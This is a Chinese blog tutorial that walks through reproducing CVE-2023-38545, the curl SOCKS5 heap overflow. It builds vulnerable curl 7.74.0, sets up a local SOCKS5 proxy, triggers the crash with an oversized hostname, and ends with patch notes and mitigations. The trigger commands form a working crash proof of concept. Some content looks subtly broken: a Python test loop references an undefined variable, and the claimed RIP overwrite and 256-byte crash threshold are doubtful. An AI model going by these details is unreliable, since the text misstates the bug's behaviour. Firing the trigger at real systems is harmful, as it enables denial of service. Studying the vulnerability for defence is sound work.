news 2026/5/6 12:19:27

手把手复现CVE-2023-38545:在Ubuntu 22.04上编译有漏洞的curl 7.74.0并触发堆溢出

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手把手复现CVE-2023-38545:在Ubuntu 22.04上编译有漏洞的curl 7.74.0并触发堆溢出

深入剖析CVE-2023-38545:从源码编译到堆溢出实战

在安全研究领域,漏洞复现是理解漏洞本质最直接的方式。本文将带领读者在Ubuntu 22.04环境下,从源码编译存在漏洞的curl 7.74.0版本开始,逐步构建完整的漏洞触发环境,最终实现堆溢出效果的完整复现。不同于简单的漏洞描述,我们将通过实际操作揭示漏洞背后的内存管理机制和状态机设计缺陷。

1. 环境准备与漏洞背景

1.1 漏洞概述

CVE-2023-38545是curl库中一个影响广泛的堆溢出漏洞,影响版本从7.69.0到8.3.0。该漏洞的核心在于SOCKS5代理处理过程中对超长主机名的错误处理:

  • 漏洞触发条件:使用SOCKS5代理(特别是socks5h模式)时传入超长主机名
  • 根本原因socks.c中的缓冲区长度检查逻辑缺陷导致memcpy越界写入
  • 实际影响:可导致程序崩溃(拒绝服务),理论上有进一步利用可能

1.2 实验环境配置

推荐使用干净的Ubuntu 22.04系统进行实验,以下是基础软件包安装:

sudo apt update && sudo apt install -y \ build-essential \ git \ python3 \ libssl-dev \ wget \ gdb

关键工具版本要求

  • GCC ≥ 9.4.0
  • Python ≥ 3.8
  • OpenSSL 3.0.x

2. 编译有漏洞的curl版本

2.1 获取源码

我们选择存在漏洞的curl 7.74.0版本进行编译:

wget https://github.com/curl/curl/releases/download/curl-7_74_0/curl-7.74.0.tar.gz tar -xzf curl-7.74.0.tar.gz cd curl-7.74.0

2.2 配置编译选项

为方便调试,我们需要启用调试符号并静态链接OpenSSL:

./configure --with-openssl --enable-debug make -j$(nproc)

重要编译参数说明

参数作用必要性
--enable-debug添加调试符号必须
--with-openssl启用SSL支持可选但推荐
CFLAGS="-g -O0"禁用优化保留调试信息可选

2.3 验证编译结果

编译完成后,不进行make install,直接使用编译生成的二进制:

./src/.libs/curl --version

应看到类似输出:

curl 7.74.0 (x86_64-pc-linux-gnu) libcurl/7.74.0 OpenSSL/3.0.2

3. 搭建漏洞触发环境

3.1 配置SOCKS5代理服务

我们使用轻量级的Python SOCKS5代理工具pysoxy:

git clone https://github.com/MisterDaneel/pysoxy cd pysoxy python3 pysoxy.py

代理服务默认监听9050端口,保持此终端运行。

3.2 设置环境变量

由于未安装编译的curl,需要手动指定库路径:

export LD_LIBRARY_PATH=$(pwd)/lib/.libs

3.3 构造恶意请求

漏洞触发的关键在于构造超长主机名,使用Python生成测试字符串:

./src/.libs/curl -vvv -x socks5h://localhost:9050 $(python3 -c "print(('A'*10000), end='')")

参数解析

  • -x socks5h://localhost:9050:指定SOCKS5代理并启用远程解析
  • $(python3 -c "print(('A'*10000), end='')"):生成10000个'A'作为主机名

4. 漏洞原理深度分析

4.1 关键代码路径

漏洞主要发生在lib/socks.cCurl_SOCKS5函数中,以下是简化后的漏洞逻辑:

// 漏洞代码片段(简化) if(!socks5_resolve_local && hostname_len > 255) { socks5_resolve_local = TRUE; // 错误处理:仅设置标志而不返回错误 } // 后续处理 if(!socks5_resolve_local) { memcpy(&socksreq[len], hostname, hostname_len); // 堆溢出发生点 }

4.2 内存布局分析

通过GDB可以观察崩溃时的内存状态:

gdb --args ./src/.libs/curl -x socks5h://localhost:9050 $(python3 -c "print(('A'*10000), end='')")

在gdb中运行后,崩溃时的关键寄存器状态:

寄存器说明
RIP0x41414141控制流被'A'覆盖
RSP0x7fffffffd3a8栈指针
RAX0x271010000的十六进制

4.3 补丁对比分析

修复版本中增加了长度检查:

if(hostname_len > 255) { return CURLPX_LONG_HOSTNAME; // 直接返回错误 }

5. 进阶实验与防护建议

5.1 不同长度测试

通过修改Python脚本测试不同长度的影响:

for length in [100, 255, 256, 1000, 10000]: os.system(f"./src/.libs/curl -x socks5h://localhost:9050 $(python3 -c \"print(('A'*{length}), end='')\")") print(f"Length {length}: {'Crashed' if 'Segmentation fault' in output else 'Safe'}")

典型结果:

长度结果说明
255Safe边界安全
256Crashed触发溢出
1000Crashed明显溢出
10000Crashed严重溢出

5.2 防护措施

对于无法立即升级的系统,可采取以下缓解措施:

  • 避免使用socks5h代理模式
  • 在防火墙层面限制异常长的主机名
  • 使用curl时对输入进行长度检查
# 安全使用示例 MAX_LEN=255 if [ ${#HOSTNAME} -gt $MAX_LEN ]; then echo "Hostname too long" exit 1 fi

在实际项目中遇到类似漏洞时,关键是要理解状态机的处理流程和边界条件检查。通过这次完整的复现过程,我们可以更深入地认识到即使是广泛使用的成熟库也可能存在基础的安全问题。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/6 12:15:30

老旧小区门禁改造技术解析:破解物业3大核心难题

老旧小区门禁年久失修、失灵卡顿、安防不足等问题频发,门禁改造成为物业日常运维的重点工作。但实际推进过程中,多数物业会面临施工推进难、业主投诉多、预算紧张三大核心痛点,传统改造方案难以适配老旧小区复杂场景。本文结合奥敏的技术沉淀…

作者头像 李华
网站建设 2026/5/6 12:14:29

终极PC多人游戏解决方案:Nucleus Co-Op分屏工具完全指南

终极PC多人游戏解决方案:Nucleus Co-Op分屏工具完全指南 【免费下载链接】nucleuscoop Starts multiple instances of a game for split-screen multiplayer gaming! 项目地址: https://gitcode.com/gh_mirrors/nu/nucleuscoop 你是否曾梦想过与好友在同一台…

作者头像 李华
网站建设 2026/5/6 12:12:31

LLM与GNN结合的自适应信息获取技术解析

1. 项目背景与核心价值 在信息爆炸的时代,如何从海量数据中高效获取有价值的信息一直是业界难题。传统的信息获取方法往往面临两个关键挑战:一是难以理解复杂语义关系,二是无法动态适应群体行为模式。我们团队开发的这套自适应群体信息获取方…

作者头像 李华
网站建设 2026/5/6 12:06:26

B企业电商物流中心仓库布局和货位SLP方法【附代码】

✨ 本团队擅长数据搜集与处理、建模仿真、程序设计、仿真代码、EI、SCI写作与指导,毕业论文、期刊论文经验交流。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流,查看文章底部二维码(1)基于改进SLP与SHA的多目标布局优化模型&#xff1a…

作者头像 李华